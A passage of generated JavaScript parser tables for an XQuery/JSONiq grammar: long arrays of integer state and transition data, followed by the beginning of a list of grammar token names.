5482,3929,3929,5140,3929,5478,3929,5420,3877,3546,5494,3714,3632,3929,5514,5508,3929,4907,5500,3929,4890,4880,3929,4193,4873,4873,4195,5742,3379,5773,3631,5525,3929,3929,3929,5870,5524,3760,3896,3929,5819,4519,5513,3488,5530,5351,3929,4708,4846,4159,3929,3929,3929,5155,5159,5336,5518,3761,3929,3929,5512,5536,4519,4522,3989,3929,3929,3929,4913,5518,3929,4964,4293,5179,5352,3929,3929,4125,3929,3929,4247,4402,4086,3353,3929,5556,5570,3929,5570,5578,3983,3929,5573,3929,4971,3751,3929,4253,3929,4261,5594,4522,3929,5601,3984,3929,5574,3929,4978,4224,3929,3929,5608,5571,5607,5351,5349,3929,3929,3929,5206,4827,3929,3929,4897,4901,5733,5834,3662,4782,5757,3879,5132,5614,5467,5620,5626,5630,5634,5638,5642,5646,5650,5654,5658,5662,5666,5670,5673,5677,5681,5685,3929,3929,5256,4275,5756,3929,3972,3929,4996,3929,5561,5708,5718,3929,5722,5729,3929,3888,3998,5749,3929,3929,3929,5311,3929,5731,5753,5459,3929,5014,4985,3929,4344,4461,3929,3875,5420,3929,3878,3929,3929,3929,3736,4071,4506,3929,3766,4521,4967,3929,3929,3929,5387,3820,5761,4485,3929,3929,5424,4691,5113,3998,3929,3929,5435,3873,3929,5112,5770,4234,5849,3929,3929,3929,5447,3929,5732,5805,3929,3972,4093,4097,3929,3905,3929,4408,3670,5786,3929,3929,3929,5447,4693,4517,5803,5807,3929,5046,5056,3929,4434,4245,3929,3770,5321,3929,3649,3929,3929,4977,4223,3929,5830,3929,3929,5450,5042,4423,5838,3929,3929,5507,4159,4423,5838,4248,5847,4578,5805,3929,4548,3929,3929,5813,4423,5854,3929,3929,5552,5542,5859,3929,3929,3929,5564,3929,5786,4235,3929,3929,5566,4810,4103,5807,3990,3929,5059,5357,3929,4549,3929,3929,4549,5416,3929,4674,3929,4868,5532,3929,3929,3929,5710,3929,3831,3998,3929,3929,5712,4818,3973,5866,3929,3929,5739,3929,3972,5865,3929,3929,5745,3929,4964,3929,5180,4523,5824,3832,3929,3929,3929,5777,5545,4965,3929,4409,3929,3675,3738,3973,3547,3929,3929,5841,3929,6277,6502,5875,6282,5878,6547,6266,5881,6546,5889,6232,5882,6232,5892,6221,6267,5888,5883,5884,6232,6232,6232,6232,6414,5887,5883,6232,5891,6232,6232,5894,6232,6232,5922,5937,5949,5938,5939,5949,5944,5950,5944,5944,5940,5944,5941,5952,5941,5944,5946,5945,5946,5946,5946,5946,5947,5941,5948,5952,5948,5944,5942,5954,5956,5958,5962,5960,5959,5964,5966,5967,5971,5967,5968,5967,5969,5974,5973,5976,5978,6293,5998,5875,6282,5896,6871,6437,6282,6321,6282,6282,6282,5917,6456,6456,6456,6456,5991,5906,6379,6455,5990,6019,5991,5904,5904,5904,6456,6456,5926,5899,6456,6456,5997,6282,6408,6410,6282,5932,6282,5933,6464,6024,6282,6282,6379,5924,6282,6282,5924,6282,6362,6010,5984,6282,6003,6282,6362,6282,6282,6282,6004,6456,5906,6455,5990,5904,5902,6456,6456,6456,5906,6457,6019,6019,5904,5904,6456,6456,6282,6282,6282,5980,5917,6456,6456,6456,6455,5905,6456,6445,5926,5926,5926,5926,6032,6032,6008,5932,6282,6282,6282,6434,6024,6282,6019,5904,6456,6282,5896,6873,6282,6282,6282,6474,5903,6457,6019,5904,6456,6229,5904,6456,6456,6456,6018,6457,6019,5991,5905,5906,6282,6282,6282,5984,6282,6282,6282,5925,6543,5905,6456,6456,6456,6282,5905,6229,5905,6229,5905,6282,6650,6437,6043,6515,6056,6672,6088,6052,6515,6520,6054,6060,6058,6515,6515,6083,6528,6101,6761,6518,6521,6516,6517,6063,6065,6068,6061,6057,6515,6515,6519,6515,6070,6072,6066,6515,6515,6515,6515,6125,6522,6074,6515,6515,6076,6515,6523,6079,6082,6515,6081,6055,6091,6089,6090,6093,6114,6092,6113,6114,6114,6114,6114,6115,6117,6116,6117,6117,6118,6119,6120,6121,6121,6095,6097,6099,6122,6123,6124,6524,5900,6515,6518,6103,6108,6110,6104,6105,6109,6106,6112,6121,6127,6129,6282,5899,6282,5925,6463,6321,6282,6294,6006,6378,6282,6508,6282,6449,6646,6218,6604,6282,6524,6291,6282,6774,6282,6270,6282,6282,6282,6e3,6e3,6027,6161,6282,6282,5895,6375,6282,6312,6230,6366,6265,5876,6282,6282,6282,6015,6406,6282,6284,6027,6027,6137,6282,6282,6379,6281,6372,6028,6159,6282,5899,6282,6282,6282,6573,6282,6282,6467,6282,6311,6312,6372,6282,6282,6282,6019,6019,5904,5904,5904,5904,5905,6456,6456,6031,6154,6158,6282,6149,6273,6282,6163,6282,6677,6280,6166,6279,6682,6685,6501,6173,6175,6178,6178,6178,6178,6176,6181,6180,6181,6181,6183,6181,6185,6187,6188,6188,6188,6194,6193,6194,6193,6193,6189,6191,6190,6190,6196,6196,6198,6203,6202,6204,6208,6203,6205,6199,6200,6210,6206,6212,6282,6282,5896,6282,6282,6282,6512,6282,6150,6135,6320,6500,6163,6282,6282,6282,6026,6282,6026,6166,6282,6282,6282,6027,6221,6282,6505,6282,6282,6282,6032,6238,6282,6241,6282,5899,6451,6282,5913,6669,6401,6238,6282,6282,6282,6037,6245,6282,6282,6282,6040,6282,6282,6225,6248,6282,6282,5916,6722,6377,6247,6249,6282,6282,5924,6370,6252,6253,6282,6282,5932,6282,6282,6530,5924,6254,6282,6282,6254,6282,6322,6228,6282,5933,6378,6282,6378,6282,6452,6282,6432,6317,6282,5917,6086,6725,6727,6216,6086,6726,6450,6231,5926,5933,6008,6008,6008,6282,6282,6282,5918,6282,6282,6282,5923,6309,6683,6282,6282,6282,6148,6216,6308,6310,6282,6282,6282,6149,6282,5903,6397,6605,6282,6282,5933,5933,5933,6780,6282,6282,6282,6229,6282,6282,6282,5933,5924,6316,5917,6723,6377,5916,6722,6323,6448,6454,6216,6332,6436,6683,6282,5917,6328,6465,6450,6217,6231,6160,6436,6683,6328,6448,6454,6216,6610,6436,6683,6282,6221,6602,6310,6282,5984,5899,5925,6229,6435,6500,6281,6722,6013,6465,6450,6160,6603,6683,6282,6282,6231,6218,6310,6282,5984,6282,6283,6043,5914,6282,5933,6328,6465,6450,6647,6604,6282,6e3,6282,6282,6283,6277,6707,6733,6282,6722,6465,6230,6396,6282,6282,6282,6235,6686,6282,6708,6281,6282,6e3,6437,6362,6338,6279,6282,6282,6283,6444,6145,6683,6282,6282,5933,6003,6282,6282,6282,6006,6375,6465,6708,6282,6005,6282,6282,6287,6289,6282,6548,6282,6282,5933,6282,6282,6282,6137,6282,6282,6020,6282,6375,6282,6282,6282,6281,6471,6218,6683,6282,6282,6282,6370,5984,6282,6010,6795,5984,5899,6282,6282,6661,6282,6e3,6137,6282,6282,6282,6282,5896,5914,6704,6273,5928,6340,6344,6503,6348,6349,6349,6350,6355,6352,6349,6349,6349,6349,6354,6355,6355,6355,6356,6357,6357,6357,6357,6357,6358,6359,6359,6359,6359,6383,6360,6382,6382,6382,6361,6282,6282,6282,6283,6043,5903,5897,6485,6376,6395,6425,6282,6282,6282,6293,6291,6338,6282,6282,6282,6284,6282,6282,6345,6282,6282,6291,6282,6282,6282,6230,5876,6282,6407,6282,6282,6282,6286,6282,6282,6037,6411,6417,6282,6282,5979,5903,6470,6313,6647,6281,6282,6282,6408,6416,6418,6282,6282,5979,6525,6458,6342,6422,6282,6282,6282,6288,6282,6664,6731,6282,6012,6e3,6282,6012,6335,6310,5985,6504,6282,6282,6273,6470,6372,6273,6504,6385,6282,6282,6412,6257,6598,6600,6282,6411,6413,6597,6599,6599,6282,6282,6282,6291,6410,6282,6322,6451,5926,5926,6008,6008,6008,5932,6236,6282,6282,6282,6292,5982,6282,6283,6442,6050,6013,6609,6259,6424,6310,6282,5919,5920,6282,6282,6011,5916,6282,6664,6282,6282,6023,6437,6459,5983,6013,6594,6700,6437,6282,6424,6437,6282,6282,6235,6480,6481,6282,6282,6133,6282,6282,6485,6376,6647,6282,6016,6282,6282,5933,6330,6454,6217,6683,6282,6282,6484,5917,5929,6011,6608,6259,6425,6282,6486,5983,6013,6594,6786,6437,6282,6282,6282,6294,6282,6283,6484,5917,5983,6013,6531,6471,6282,6282,6146,6683,6282,6282,6155,6282,6282,6385,6282,6322,6282,6282,6275,6493,5917,5983,6324,6259,6729,6282,6019,6019,6019,5991,5904,6277,5903,6531,6011,6148,6282,6282,6282,6234,6531,6282,6282,6282,6322,6282,6133,6372,6505,6282,6230,6282,6282,6171,6756,6531,6046,6834,6437,6282,6282,6285,6530,5924,6282,6684,6282,6149,6282,6282,6282,6325,6285,6530,6045,6159,6024,6046,6386,6282,6282,6282,6372,6282,6294,6282,6530,6464,6386,6282,6282,6215,6224,5933,5924,6410,6282,6040,6282,6482,6282,6282,6282,6531,6536,6024,6282,6282,6282,6370,5987,6282,6535,6282,6282,6227,6282,6282,6282,6378,6378,6378,6282,6452,5994,6282,6282,6282,6394,6282,6282,6282,6404,6539,6333,6683,6282,6020,6282,6282,6282,6341,6282,6570,6300,6569,6301,6370,6545,6300,6302,6303,6303,6303,6303,6303,6304,6551,6554,6552,6561,6552,6555,6563,6564,6563,6563,6563,6563,6564,6556,6557,6557,6557,6557,6558,6372,6273,6282,6282,6243,6282,6509,6566,6282,6282,6271,6213,6282,6283,6568,6282,6021,6041,6282,6027,6282,6321,6282,6006,6282,6282,6027,6462,6282,6282,6282,6572,6282,6168,6282,6575,6510,6282,6029,6282,6282,6282,6588,5907,5909,5911,6282,6036,6282,6282,6388,6407,5908,5910,6282,6282,6272,6282,6526,6282,5916,6322,6282,6378,6282,6020,6282,6278,6282,6282,6394,5924,6278,6282,6283,6502,6365,6282,6579,6282,6282,6275,6525,5914,5992,6371,6048,6365,6367,6369,6282,6282,6277,6531,6046,6275,6583,5993,6047,6256,6256,6366,6368,6282,6282,6452,6e3,6282,6282,6282,6408,6282,6027,6282,6372,6526,6282,5899,6539,6664,6682,6282,6282,6282,6146,6282,6482,6282,6006,6451,6282,6282,6282,5985,6458,6342,6313,6136,6152,6282,6037,6378,6282,6282,6282,6421,6584,6020,6437,6683,6282,6027,6321,6282,6451,6646,6152,6282,6282,6282,6410,6282,6282,6282,6375,6282,6e3,6526,6322,6533,6682,6282,6408,6282,6282,6282,6505,6282,6282,6278,6282,6282,6282,6143,6371,6472,6282,6282,6282,6423,6539,6437,6683,6282,6040,6148,6040,6149,6273,6229,6682,6282,6470,6282,6282,6283,6282,6282,6282,6524,6548,5933,6282,5933,6282,6434,6410,6282,6282,6434,6537,6282,6664,6491,6866,5876,6482,6491,6282,6282,6283,6410,6282,6427,6282,6282,5980,6011,6276,6037,6285,6038,6590,6783,6607,6612,6620,6619,6620,6620,6616,6620,6620,6618,6622,6620,6614,6613,6624,6627,6626,6627,6627,6628,6630,6630,6634,6630,6632,6631,6630,6630,6630,6636,6638,6638,6637,6637,6640,6641,6282,6132,6282,6282,5895,5924,5984,6282,6640,6637,6640,6640,6640,6640,6505,5903,6644,6331,6649,6282,6282,6229,5879,6282,6527,6653,6148,6282,6137,5924,6282,6282,6282,6230,6281,6282,6282,6306,6402,6433,6346,6656,6658,6549,6282,6282,6283,6475,6423,6282,6282,6282,6437,6682,5912,6668,6400,6282,6157,6282,6282,5896,6451,5980,5917,6029,6221,6281,6282,6282,6524,6282,6282,6282,5930,6664,6282,6264,6683,6694,6282,6282,6282,6452,6282,6282,6282,6285,5897,6453,6654,6282,6346,6295,6282,6282,6283,6582,6297,6282,6681,6282,6164,6024,6282,6133,6451,6282,5988,6281,6285,5980,6458,6371,6263,6647,6281,6282,6676,6282,6676,6514,5903,6680,6465,6489,5995,6282,6282,6283,6496,6085,6282,6513,6525,6679,6688,6688,6399,6713,6281,6282,6286,6282,6037,6282,6282,6282,5899,6691,6497,6724,6488,6734,6282,6282,6282,6498,6282,6282,6282,6255,6282,6283,6691,6696,6724,6488,6698,6331,6222,6282,6282,6282,6431,6296,6282,6282,6282,6499,6282,6282,5903,6464,6231,6734,6696,6134,6733,6281,6693,6282,6282,6434,6282,6282,6282,6277,6525,6531,6471,6218,6231,6490,6282,6282,6282,6504,6548,6282,6283,6278,6282,6275,6710,6733,6282,6169,6282,6282,6509,6003,6712,6282,6282,6282,6508,5899,6702,6490,6282,6282,6283,6861,6854,6033,6858,6646,6218,6604,6282,6282,6282,6577,6286,6282,6394,6282,6229,6019,6019,6019,6019,5904,6286,6282,6137,6282,6229,6282,6292,6229,6282,6282,6372,6505,6282,6437,6683,6282,6229,6146,6265,6282,6283,6525,5927,6539,6729,6683,6282,6282,6650,6282,6282,6283,6863,6364,6024,6282,6282,6283,6869,6282,6362,6282,6362,6363,6010,6592,5925,6719,6591,6593,6718,6721,5934,5934,5935,6469,6736,5934,5934,5934,6736,6738,6742,6740,6739,6744,6746,6751,6751,6752,6753,6747,6748,6748,6748,6749,6751,6751,6751,6753,6753,6753,6753,6758,6754,6755,6282,6282,6285,6282,6282,6282,6014,6760,5981,6007,6728,6282,6763,6282,6282,6285,6496,6531,6282,6283,6768,6770,6282,6282,6282,6539,6392,6282,6282,6392,6027,6156,6282,6282,6293,6586,6282,6373,6281,6285,6507,5903,6470,6326,6505,6659,6282,6234,6229,5879,6283,6496,6703,6776,6704,6777,6282,6282,6282,6548,6282,5918,6025,6282,6282,6026,6282,6286,6505,6394,6282,6291,6370,6282,6370,6282,6496,6085,6831,6147,6603,6683,6282,6380,6282,6282,6370,6282,6282,6282,6003,6282,6294,6336,6e3,6282,6239,6846,6282,6260,6282,6282,6282,6642,6379,6282,6505,6336,6283,6702,6782,6319,6218,6604,6282,6785,5999,6282,6269,6663,6282,6140,6282,6282,6393,6282,5982,6724,6319,6218,6604,6539,6310,6282,6282,6375,6370,6375,6788,6320,6310,6e3,6e3,6282,6282,6375,6548,6282,6282,6282,6275,6084,6447,6282,6788,6429,6683,6282,6282,6664,6683,6282,6273,6541,6148,6282,6394,6e3,6282,6274,6282,6003,6318,6429,6683,6282,6275,5898,5915,6282,6282,6370,6370,6370,6664,6282,6683,6282,6410,6282,6699,6282,6275,5901,5982,6724,6291,6282,6282,6531,6689,6282,6282,6220,6282,6537,6282,6282,6282,6664,6146,6282,6282,6434,6281,6282,6282,6282,6020,6282,6006,6410,6408,6282,6027,6282,6282,6250,6843,6434,6410,6282,6434,6410,6282,6408,6282,6322,6282,6410,6410,6027,6282,6275,6702,6231,6490,6146,6282,6146,6282,6282,6282,6671,6146,6410,6408,6408,6409,6409,6409,6409,6409,6282,6282,6282,6682,6282,6282,6285,6039,6216,6221,6281,6286,6282,6282,6790,6543,6282,6505,6003,6282,6559,6282,6282,6559,6508,6792,6282,6077,6139,6282,6282,6379,6374,6793,6806,6798,6798,6801,6799,6798,6799,6798,6797,6803,6808,6807,6808,6805,6808,6809,6810,6813,6814,6815,6816,6815,6818,6811,6813,6811,6813,6820,6822,6822,6821,6821,6824,6824,6824,6824,6821,6824,6824,6828,6825,6826,6282,6282,6282,6683,6282,6282,6689,6439,6282,6277,6715,6282,6282,6282,6510,6035,6282,6282,6282,6684,6282,6282,6282,6233,6282,6716,6282,6580,6419,6282,6836,6282,6281,6282,6282,6283,6293,6337,6282,6838,6840,6282,6282,6666,6282,6143,6292,6282,6282,6292,6282,6282,6282,6378,6845,6282,6282,6845,6282,6487,6282,6282,6391,6391,6651,6282,6282,6282,6730,6512,6282,6282,6282,6830,6853,5931,6141,6428,6602,6604,6282,6282,6409,6410,6282,6852,6854,6856,6450,6002,6282,6001,6003,6282,6645,6231,6281,6282,6282,6674,6282,6167,6282,6282,6e3,6282,6e3,6034,6282,6282,6282,6848,6282,6394,6683,6282,6282,5933,6003,5933,6003,6282,6830,6645,6231,6222,6487,6282,6024,6282,6282,6693,6282,6282,6282,6464,6861,6854,6009,6377,6525,5931,6011,6465,6282,6830,5885,6282,6282,6702,5931,6319,6436,6683,5916,6282,6282,5925,6282,6282,6448,6282,6282,6931,6282,6282,6451,6282,6282,6282,6860,6044,6011,6465,6449,6647,6310,6282,6282,6142,6436,6683,6282,6282,6732,5924,5984,6861,5983,6377,6454,5982,6321,6282,6294,6138,6282,6461,6151,6437,6282,6282,6732,6772,6860,5983,6465,6151,6437,6282,6865,6282,6282,6282,6860,6337,6437,6282,6282,6466,6282,6144,6436,6282,6282,6282,6868,6219,6282,6282,6282,6468,6282,6282,6732,6282,5916,6262,6299,6282,5918,5918,5918,6378,6282,6282,6526,6282,6148,6282,6283,6293,6586,6292,6502,6437,6282,6282,6282,6294,6282,6292,6294,6282,6282,6474,5980,6293,6291,6282,6282,6292,6502,6282,6278,6294,6282,6278,6282,6282,6765,6282,6229,6362,6282,6230,6320,6500,6282,6505,6282,6292,6502,6282,6505,6233,6282,6282,6293,6282,6282,6282,6474,6478,6291,6278,6282,6282,6292,6531,6536,6875,6255,6282,6282,6476,6282,6006,6255,6282,6006,6390,6282,6314,6049,6282,6877,6878,6881,6375,6880,5930,6282,6532,6542,6883,6596,6258,6885,6596,6595,6595,6886,6889,6595,6888,6890,6889,6892,6897,6893,6894,6895,6899,6900,6905,6905,6901,6902,6912,6903,6902,6906,6905,6906,6905,6906,6907,6909,6908,6910,6914,6908,6908,6922,6922,6921,6922,6923,6916,6917,6918,6920,6926,6925,6928,6460,6371,6282,6282,6482,5932,6321,6285,6282,6282,6494,6371,6930,6282,6282,6282,6505,6494,6371,6130,6282,6282,6282,6505,6506,6282,6282,6282,6312,6933,6282,6505,6935,6282,6282,6937,6282,6282,6767,6769,6290,6282,6282,6282,6505,6692,6011,6313,6291,6233,6282,6282,6508,6282,6282,6282,5916,6030,6282,6423,6170,6282,6282,6170,6011,6372,6282,5916,6282,6282,5915,6451,6440,6282,6282,5918,6322,6283,6939,6446,6705,6447,6291,6282,6282,6294,6282,6282,6282,6438,6282,6282,6511,6282,6282,6282,6842,6149,6282,6149,6282,6282,6779,6007,6728,6310,6282,6282,6319,6310,6282,6282,6363,6282,6692,6011,6372,5916,6282,5915,6282,6282,6511,6268,6286,6282,5924,6282,6282,6833,6282,6279,6398,6282,6282,6014,6282,6282,6282,6601,6282,6439,5933,6133,6282,6148,6282,6255,6282,5914,5931,6705,6282,6282,6850,6282,6850,6282,6372,6282,6372,6282,6149,6282,6505,5914,5931,6291,6282,6282,5982,6585,6282,6282,6660,6291,6043,5914,6291,6282,6282,6283,6043,5899,6282,6282,1048576,1073741824,2147483648,1075838976,2097152,2147483648,4194560,4196352,-2143289344,-2143289344,4194304,2147483648,37748736,541065216,541065216,-2143289344,4198144,4196352,276901888,8540160,4194304,1,4,16,64,0,48,64,32,64,64,96,0,59,140224,5505024,-1887436800,0,63,64,128,0,64,256,0,110,110,8425488,4194304,1024,0,128,128,512,512,1024,1024,2048,0,256,256,257,37748736,742391808,742391808,775946240,-1371537408,775946240,4718592,775946240,775946240,171966464,171966464,775946240,239075328,-1405091840,-1371537408,239075328,171966464,64,4718592,2097216,4720640,541589504,4194368,4194368,541065280,541589504,4194400,-2143289280,4194368,-2143285440,-2143285408,-2143285408,-2109730976,775946336,776470528,-2143285408,776470528,775946304,775946304,-1908404384,775946304,-1908404384,2,8,32,128,1024,4096,0,260,8392704,0,1856,64,524288,64,896,8192,67108864,2147483648,96,262144,262144,8192,0,288,8388608,0,384,0,512,2048,2048,4096,4096,8192,8192,16384,0,520,520,96,524288,524288,0,2432,2048,268435456,0,24576,0,32768,32768,65536,1048576,128,2048,12288,0,12289,0,16384,16384,32768,0,1864,2,16,1024,98304,131072,262144,1048576,512,5120,2,536936448,80,528,528,2097168,2097168,268435472,524304,1048592,2097168,24,560,48,2097680,1048592,3145744,1048592,20,560,48,3146256,2097552,3146256,28,16,8192,2,2098064,163577856,17,21,112,128,3584,8192,2228784,-161430188,-161430188,-161429680,-161430188,-161429676,-161430188,-161298576,-160299088,-161298576,-161298572,-160774288,-160299084,146804757,146812949,146862101,146863389,146863389,148960541,-161429740,-161429676,146863421,148960541,146863389,-161429676,-160905388,-161429676,-161429676,-161429675,-161349072,-161349072,-161347728,-161347728,-161298572,-161298572,-160774284,-161298572,16,262160,-18860267,-160774284,-18729163,0,58368,159383552,0,65536,2097152,8388608,33554432,0,66048,0,77824,524288,33554432,1024,262144,2097152,16777216,67108864,0,131072,524288,134217728,2147483648,1,32768,196608,0,131328,131072,16777216,100663296,-1073741824,164096,0,131584,2621440,0,139264,0,150528,0,235712,16777216,1073774592,1226014816,100665360,-2046818288,100665360,100665360,-2044196848,1091799136,1091799136,1091803360,1091799136,1158908e3,1158908001,1192462432,1192462448,1192462448,1870638912,1870655296,1870638912,1200851056,1200851056,1091799393,1870655296,1870655296,1870655312,1870655316,1870655312,1870655312,1870638928,1870655316,1870655316,1870655317,1870655316,1879043952,1870655348,1870655316,1879027568,1879043952,1879043956,0,284672,229440,1048576,2097152,67108864,134217728,8,4194304,16777216,2147483648,1224736768,0,503616,2048,100663296,0,524288,2097152,4194304,4194304,0,40,0,44,-2046820352,0,605503,231488,1090519040,1157627904,1191182336,9437184,231744,52e4,7864320,1862270976,0,867391,1862270976,1862270976,16252928,0,1048576,4194304,25165824,25165824,33554432,8192,98304,1048576,8388608,134217728,268435456,4194432,3145728,0,24,0,29,0,32,1,2,2,4,0,2147483648,2147483648,0,0,1,0,2,0,3,240,19456,262144,0,4,8,0,6,0,7,150994944,0,1049088,1049088,12845065,12845065,147193865,128,6144,4194304,251658240,536870912,1073741824,32768,131072,1048576,4096,83886080,117440512,0,3145728,16777216,134217728,0,2048,8192,229376,0,2304,1536,8192,1536,65536,4194304,67108864,536870912,9216,33554432,262144,134217728,1073741824,50331649,9476,512,8192,134218240,1050624,0,5242880,1275208192,4194312,4194312,4194344,4194312,541065224,4203820,-869654016,-869654016,1279402504,1279402504,2143549415,2143549415,2143549423,0,8388608,4096,4194304,8388608,16777216,33554432,-1946157056,0,8192,131072,0,1792,0,1024,8192,65536,0,1536,2147483648,2143549423,2143549423,2143549415,1,16777216,268435456,512,139264,2760704,-872415232,0,19947520,0,33554432,67108864,1073741824,1073741824,262144,7340032,-2030043136,0,331776,300,4203520,4333568,1275068416,0,16777216,16777216,0,999,259072,4194304,4194432,999,29619200,2113929216,0,58720256,1007,1007,0,67108864,402653184,536870912,2048,1048576,16777216,536870912,300,0,83886080,0,2097152,134217728,536870912,0,49152,0,57344,102,384,6,96,128,3072,16384,65536,524288,1048576,0,4096,262144,524288,96,96,64,384,512,4096,65536,131072,1024,65536,262144,131072,32768,256,384,8192,33554432,2147483648,1,6,8,8388608,96,384,104,104,0,134217728,6,32,256,512,65536,7340032,50331648,0,8396800,4,32,384,4,64,1024,2097152,268435456,1073741824,8,262144,512,0,8,8,16,0,9,0,12,0,15,16,16,17,20,16,20,48,16,28,0,16,32,0,21,53,4,256,1024,524288,536870912,256,65536,16777216,1073741824,2048,524288,32,4100,1024,134217728,1049088,270532608,2097152,2097152,0,23,5505537,5587457,5591557,147202057,5587457,13894153,-1881791493,-1881791493,0,134218752,5587465,5587457,13894153,13894153,81003049,4456448,8388608,5505024,0,134348800,134348800,82432,0,142606336,5,86528,41,75497472,81920,0,184549376,2,56,64,2048,262144,536870912,2048,134217728,-2113929216,16777216,1073743872,268435968,229376,25165824,92274688,25165824,100663296,402653184,1610612736,0,100663296,134217728,805306368,1073741824,8388608,268567040,16384,229376,4194304,117440512,2113544,68423701,-2079059883,-2079059947,85200917,68423701,68423765,68489237,68423701,68423701,72618005,68423701,68425749,68423703,85200919,69488664,69488664,70537244,70537245,70537245,-2076946339,-2076946403,70537245,70537309,70539293,-2022351745,-2022351617,-2022351745,-2022351617,-2022351617,0,243269632,256,32768,1048576,33554432,134217728,-2113929216,0,268435456,49152,266240,1048576,67108864,-2080374784,-2080374784,268288,0,301989888,0,318767104,282624,0,536870912,28,3145728,192,351232,7340032,5,16,1049104,12,3145728,13,0,1073741825,192,3072,20480,0,1073741824,0,262144,2621440,-1073741824,20480,65536,268435456,14,32,512,131072,268435456,192,1024,64,32768,33554432,268435456,4,128,3840,16384,262144,128,2097152,1073741824,4,2097152,4,50331648,67108864,128,50331648,1073741824,128,268435968,268435968,268436032,256,1536,2048,16384,98304,393216,524288,268435456,536870912,9216,0,4194304,50331648,2147483648,256,536871168,-1879046336,-1879046334,-1879046326,-1879046334,1073744256,-1879046334,-1879046326,-1845491902,-1878784182,268444480,268436288,268436288,268436289,268444480,268444480,2100318149,2100318149,2100326341,0,1090519040,2100326341,2100326341,1,16,536936448,576,0,832,8192,1,4036,19939328,2080374784,0,1,1024,768,8192,16384,19922944,2080374784,1,128,4096,3584,16384,524288,8,33554432,402653184,2048,3145728,128,131072,268500992,4243456,4096,1048588,0,1258292224,1124073472,1124073472,1124073488,1124073474,1124073472,1392574464,1124073472,1073754113,12289,1124073472,12289,12289,1098920193,1132474625,1098920209,1132474625,1132474625,1124085761,1124085761,1124085777,1258304513,1124085761,1400975617,2132360255,2132622399,2132360255,2132622399,2132622399,2141011263,0,2140749119,2141011263,2,16384,3145728,12545,25165824,268435456,12305,13313,12561,0,78081,327155712,605247,1058013184,1073741824,867647,1066401792,0,1,12288,256,8388608,1,30,32,1024,2048,339968,327680,524288,1,14,16,14,1024,16384,4194304,134217728,1,12,1024,8,134217728,8,536870912,9437184,0,68157440,137363456,0,137363456,66,66,100680704,25165824,26214400,92274688,25165952,93323264,92274688,92274688,92274720,93323264,25165890,100721928,100721928,100787464,100721664,100721664,100853e3,100721928,125977600,125846528,125846528,125846560,125977600,125977600,127026176,281843,281843,1330419,281843,126895104,125846528,1330419,1330419,72633587,5524723,72633587,92556531,93605107,93605107,5524723,5524723,39079155,97799411,127290611,127290611,131484915,0,17408,33554432,1073741824,58624,0,124160,189696,148480,50331648,2,112],r.TOKEN=[\"(0)\",\"PragmaContents\",\"DirCommentContents\",\"DirPIContents\",\"CDataSection\",\"Wildcard\",\"EQName\",\"URILiteral\",\"IntegerLiteral\",\"DecimalLiteral\",\"DoubleLiteral\",\"StringLiteral\",\"PredefinedEntityRef\",\"'\\\"\\\"'\",\"EscapeApos\",\"ElementContentChar\",\"QuotAttrContentChar\",\"AposAttrContentChar\",\"PITarget\",\"NCName\",\"QName\",\"S\",\"S\",\"CharRef\",\"CommentContents\",\"EOF\",\"'!'\",\"'!='\",\"'\\\"'\",\"'#'\",\"'#)'\",\"'$'\",\"'%'\",\"''''\",\"'('\",\"'(#'\",\"'(:'\",\"')'\",\"'*'\",\"'*'\",\"'+'\",\"','\",\"'-'\",\"'-->'\",\"'.'\",\"'..'\",\"'/'\",\"'//'\",\"'/>'\",\"':'\",\"':)'\",\"'::'\",\"':='\",\"';'\",\"'<'\",\"'<!--'\",\"'</'\",\"'<<'\",\"'<='\",\"'<?'\",\"'='\",\"'>'\",\"'>='\",\"'>>'\",\"'?'\",\"'?>'\",\"'@'\",\"'NaN'\",\"'['\",\"']'\",\"'after'\",\"'all'\",\"'allowing'\",\"'ancestor'\",\"'ancestor-or-self'\",\"'and'\",\"'any'\",\"'append'\",\"'array'\",\"'as'\",\"'ascending'\",\"'at'\",\"'attribute'\",\"'base-uri'\",\"'before'\",\"'boundary-space'\",\"'break'\",\"'by'\",\"'case'\",\"'cast'\",\"'castable'\",\"'catch'\",\"'check'\",\"'child'\",\"'collation'\",\"'collection'\",\"'comment'\",\"'constraint'\",\"'construction'\",\"'contains'\",\"'content'\",\"'context'\",\"'continue'\",\"'copy'\",\"'copy-namespaces'\",\"'count'\",\"'decimal-format'\",\"'decimal-separator'\",\"'declare'\",\"'default'\",\"'delete'\",\"'descendant'\",\"'descendant-or-self'\",\"'descending'\",\"'diacritics'\",\"'different'\",\"'digit'\",\"'distance'\",\"'div'\",\"'document'\",\"'document-node'\",\"'element'\",\"'else'\",\"'empty'\",\"'empty-sequence'\",\"'encoding'\",\"'end'\",\"'entire'\",\"'eq'\",\"'every'\",\"'exactly'\",\"'except'\",\"'exit'\",\"'external'\",\"'first'\",\"'following'\",\"'following-sibling'\",\"'for'\",\"'foreach'\",\"'foreign'\",\"'from'\",\"'ft-option'\",\"'ftand'\",\"'ftnot'\",\"'ftor'\",\"'function'\",\"'ge'\",\"'greatest'\",\"'group'\",\"'grouping-separator'\",\"'gt'\",\"'idiv'\",\"'if'\",\"'import'\",\"'in'\",\"'index'\",\"'infinity'\",\"'inherit'\",\"'insensitive'\",\"'insert'\",\"'instance'\",\"'integrity'\",\"'intersect'\",\"'into'\",\"'is'\",\"'item'\",\"'json'\",\"'json-item'\",\"'key'\",\"'language'\",\"'last'\",\"'lax'\",\"'le'\",\"'least'\",\"'let'\",\"'levels'\",\"'loop'\",\"'lowercase'\",\"'lt'\",\"'minus-sign'\",\"'mod'\",\"'modify'\",\"'module'\",\"'most'\",\"'namespace'\",\"'namespace-node'\",\"'ne'\",\"'next'\",\"'no'\",\"'no-inherit'\",\"'no-preserve'\",\"'node'\",\"'nodes'\",\"'not'\",\"'object'\",\"'occurs'\",\"'of'\",\"'on'\",\"'only'\",\"'option'\",\"'or'\",\"'order'\",\"'ordered'\",\"'ordering'\",\"'paragraph'\",\"'paragraphs'\",\"'parent'\",\"'pattern-separator'\",\"'per-mille'\",\"'percent'\",\"'phrase'\",\"'position'\",\"'preceding'\",\"'preceding-sibling'\",\"'preserve'\",\"'previous'\",\"'processing-instruction'\",\"'relationship'\",\"'rename'\",\"'replace'\",\"'return'\",\"'returning'\",\"'revalidation'\",\"'same'\",\"'satisfies'\",\"'schema'\",\"'schema-attribute'\",\"'schema-element'\",\"'score'\",\"'self'\",\"'sensitive'\",\"'sentence'\",\"'sentences'\",\"'skip'\",\"'sliding'\",\"'some'\",\"'stable'\",\"'start'\",\"'stemming'\",\"'stop'\",\"'strict'\",\"'strip'\",\"'structured-item'\",\"'switch'\",\"'text'\",\"'then'\",\"'thesaurus'\",\"'times'\